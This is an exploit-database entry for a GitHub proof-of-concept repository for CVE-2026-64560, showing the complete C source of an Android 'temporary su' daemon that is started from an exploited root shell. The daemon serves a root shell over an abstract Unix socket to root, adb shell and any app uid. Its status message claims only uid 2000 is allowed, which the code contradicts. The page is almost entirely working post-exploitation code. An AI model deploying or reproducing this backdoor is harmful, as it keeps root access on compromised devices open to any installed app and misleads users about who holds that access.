Exploit database

GH-9402833d722d7cd1909c04732e535a13

qingle009/opace6-cve-2026-64560

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-64560

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
qingle009/opace6-cve-2026-64560Revision 6b1d0ba46357

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/temp-su.c

Suggested starting fileC · 7,185 bytes
/*
 * Current-boot ADB-shell-only helper (temporary su daemon + client).
 * Pushed as /data/local/tmp/su; start with --daemon from the root shell
 * produced by the exploit. See README.md and SECURITY.md for scope and
 * usage constraints.
 */
#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <signal.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <unistd.h>

static const char socket_name[] = "dada_temp_su_v1";

static socklen_t socket_address(struct sockaddr_un *address) {
    memset(address, 0, sizeof(*address));
    address->sun_family = AF_UNIX;
    memcpy(address->sun_path + 1, socket_name, sizeof(socket_name) - 1);
    return (socklen_t)(offsetof(struct sockaddr_un, sun_path) + 1 + sizeof(socket_name) - 1);
}

static int write_all(int fd, const void *buffer, size_t length) {
    const unsigned char *cursor = buffer;

    while (length) {
        ssize_t wrote = write(fd, cursor, length);
        if (wrote < 0 && errno == EINTR)
            continue;
        if (wrote <= 0)
            return -1;
        cursor += wrote;
        length -= (size_t)wrote;
    }
    return 0;
}

static int connect_server(void) {
    struct sockaddr_un address;
    socklen_t length = socket_address(&address);
    int fd = socket(AF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0);

    if (fd < 0)
        return -1;
    if (connect(fd, (struct sockaddr *)&address, length)) {
        close(fd);
        return -1;
    }
    return fd;
}

static int client_check(void) {
    char reply[3];
    int fd = connect_server();

    if (fd < 0)
        return -1;
    if (write_all(fd, "P", 1) || read(fd, reply, sizeof(reply)) != (ssize_t)sizeof(reply) ||
        memcmp(reply, "OK\n", sizeof(reply))) {
        close(fd);
        return -1;
    }
    close(fd);
    return 0;
}

static int client_shell(const char *command) {
    unsigned char buffer[8192];
    int fd = connect_server();
    int stdin_open = 1;

    if (fd < 0) {
        fprintf(stderr, "temporary su daemon is not running: %s\n", strerror(errno));
        return 1;
    }
    if (write_all(fd, "S", 1)) {
        close(fd);
        return 1;
    }
    if (command) {
        if (write_all(fd, command, strlen(command)) || write_all(fd, "\nexit\n", 6)) {
            close(fd);
            return 1;
        }
        stdin_open = 0;
    }
    for (;;) {
        struct pollfd polls[2] = {
            {.fd = fd, .events = POLLIN | POLLHUP},
            {.fd = STDIN_FILENO, .events = stdin_open ? POLLIN | POLLHUP : 0},
        };
        int result;

        do {
            result = poll(polls, 2, -1);
        } while (result < 0 && errno == EINTR);
        if (result < 0)
            break;
        if (polls[0].revents & (POLLIN | POLLHUP)) {
            ssize_t got = read(fd, buffer, sizeof(buffer));
            if (got <= 0)
                break;
            if (write_all(STDOUT_FILENO, buffer, (size_t)got))
                break;
        }
        if (stdin_open && (polls[1].revents & (POLLIN | POLLHUP))) {
            ssize_t got = read(STDIN_FILENO, buffer, sizeof(buffer));
            if (got <= 0) {
                stdin_open = 0;
                shutdown(fd, SHUT_WR);
            } else if (write_all(fd, buffer, (size_t)got)) {
                break;
            }
        }
    }
    close(fd);
    return 0;
}

static void serve_shell(int listener, int connection) {
    close(listener);
    setsid();
    if (dup2(connection, STDIN_FILENO) < 0 || dup2(connection, STDOUT_FILENO) < 0 ||
        dup2(connection, STDERR_FILENO) < 0)
        _exit(120);
    if (connection > STDERR_FILENO)
        close(connection);
    /* non-interactive: su managers (MT Manager etc.) speak a clean
     * stdin/stdout protocol; prompts and tty warnings corrupt it */
    execl("/system/bin/sh", "sh", NULL);
    _exit(121);
}

static void daemon_loop(int listener) {
    int null_fd;

    setsid();
    chdir("/");
    prctl(PR_SET_NAME, "dada-temp-su", 0, 0, 0);
    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);
    null_fd = open("/dev/null", O_RDWR | O_CLOEXEC);
    if (null_fd >= 0) {
        dup2(null_fd, STDIN_FILENO);
        dup2(null_fd, STDOUT_FILENO);
        dup2(null_fd, STDERR_FILENO);
        if (null_fd > STDERR_FILENO)
            close(null_fd);
    }
    for (;;) {
        struct ucred peer;
        socklen_t peer_length = sizeof(peer);
        char request;
        int connection = accept4(listener, NULL, NULL, SOCK_CLOEXEC);

        if (connection < 0) {
            if (errno == EINTR)
                continue;
            _exit(122);
        }
        /* allow root, adb shell and app uids (MT Manager and friends) */
        if (getsockopt(connection, SOL_SOCKET, SO_PEERCRED, &peer, &peer_length) ||
            (peer.uid != 0 && peer.uid != 2000 && peer.uid < 10000) ||
            recv(connection, &request, 1, MSG_WAITALL) != 1) {
            close(connection);
            continue;
        }
        if (request == 'P') {
            write_all(connection, "OK\n", 3);
            close(connection);
            continue;
        }
        if (request != 'S') {
            close(connection);
            continue;
        }
        pid_t child = fork();
        if (!child)
            serve_shell(listener, connection);
        close(connection);
    }
}

static int start_daemon(void) {
    struct sockaddr_un address;
    socklen_t length = socket_address(&address);
    int listener;

    if (getuid() != 0 || geteuid() != 0) {
        fprintf(stderr, "--daemon must be started from the exploited root shell\n");
        return 1;
    }
    listener = socket(AF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0);
    if (listener < 0 || bind(listener, (struct sockaddr *)&address, length) ||
        listen(listener, 8)) {
        fprintf(stderr, "temporary su daemon setup failed: %s\n", strerror(errno));
        if (listener >= 0)
            close(listener);
        return 1;
    }
    pid_t daemon = fork();
    if (daemon < 0) {
        close(listener);
        return 1;
    }
    if (!daemon)
        daemon_loop(listener);
    close(listener);
    printf("TEMP_SU_DAEMON_STARTED pid=%d allowed_uid=2000 lifetime=until_reboot\n", daemon);
    return 0;
}

int main(int argc, char **argv) {
    if (argc == 2 && !strcmp(argv[1], "--daemon"))
        return start_daemon();
    if (argc == 2 && !strcmp(argv[1], "--check")) {
        if (client_check()) {
            fprintf(stderr, "TEMP_SU_DAEMON_UNAVAILABLE\n");
            return 1;
        }
        puts("TEMP_SU_DAEMON_READY");
        return 0;
    }
    if (argc == 2 && (!strcmp(argv[1], "-v") || !strcmp(argv[1], "-V") ||
                      !strcmp(argv[1], "--version"))) {
        puts("temp-su 1.0");
        return 0;
    }
    if (argc == 1 || (argc == 2 && !strcmp(argv[1], "--client")))
        return client_shell(NULL);
    if (argc == 3 && !strcmp(argv[1], "-c"))
        return client_shell(argv[2]);
    fprintf(stderr, "usage: %s [--daemon|--check|--client|-c CMD]\n", argv[0]);
    return 2;
}